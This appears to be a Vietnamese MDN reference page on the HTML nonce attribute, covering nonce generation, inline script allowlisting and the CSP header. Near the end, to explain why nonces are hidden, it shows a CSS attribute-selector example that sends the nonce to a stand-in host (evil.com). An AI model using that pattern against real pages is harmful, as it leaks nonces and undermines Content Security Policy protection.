HTML nonce global attribute
Baseline
Widely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since May 2022.
Thuộc tính toàn cục nonce
là thuộc tính nội dung định nghĩa một nonce mật mã ("số sử dụng một lần") có thể được sử dụng bởi
Content Security Policy để xác định liệu một yêu cầu tải nhất định có được phép tiến hành hay không cho một phần tử nhất định.
Mô tả
Thuộc tính nonce hữu ích để cho phép danh sách trắng các phần tử cụ thể, chẳng hạn như một phần tử script hoặc style nội tuyến cụ thể.
Nó có thể giúp bạn tránh sử dụng chỉ thị unsafe-inline của CSP, vốn sẽ cho phép danh sách trắng tất cả các script hoặc style nội tuyến.
Note:
Chỉ sử dụng nonce cho các trường hợp bạn không có cách nào tránh sử dụng nội dung script
hoặc style nội tuyến không an toàn. Nếu bạn không cần nonce, đừng sử dụng nó. Nếu script của bạn là tĩnh, bạn cũng có thể sử dụng hash CSP thay thế.
(Xem ghi chú sử dụng trên script nội tuyến không an toàn.)
Luôn cố gắng tận dụng tối đa các biện pháp bảo vệ của CSP và tránh nonces hoặc các script nội tuyến không an toàn bất cứ khi nào có thể.
Sử dụng nonce để cho phép danh sách trắng phần tử <script>
Có một vài bước liên quan để cho phép danh sách trắng một script nội tuyến bằng cơ chế nonce:
Tạo giá trị
Từ máy chủ web của bạn, hãy tạo một chuỗi được mã hóa base64 ngẫu nhiên có ít nhất 128 bit dữ liệu từ một bộ tạo số ngẫu nhiên an toàn về mặt mật mã. Nonces nên được tạo khác nhau mỗi lần trang tải (nonce chỉ một lần!). Ví dụ, trong nodejs:
import crypto from "node:crypto";
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='
Cho phép danh sách trắng script nội tuyến
Nonce được tạo trong mã backend của bạn bây giờ nên được sử dụng cho script nội tuyến mà bạn muốn cho phép danh sách trắng:
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
// …
</script>
Gửi nonce với header CSP
Cuối cùng, bạn sẽ cần gửi giá trị nonce trong header
Content-Security-Policy
(thêm tiền tố nonce-):
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
Truy cập nonces và ẩn nonce
Vì lý do bảo mật, thuộc tính nội dung nonce bị ẩn (một chuỗi rỗng sẽ được trả về).
script.getAttribute("nonce"); // returns empty string
Thuộc tính nonce là cách duy nhất để truy cập nonces:
script.nonce; // returns nonce value
Việc ẩn nonce giúp ngăn kẻ tấn công lấy dữ liệu nonce qua các cơ chế có thể lấy dữ liệu từ các thuộc tính nội dung như thế này:
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Đặc tả
| Thông số kỹ thuật |
|---|
| HTML> # attr-nonce> |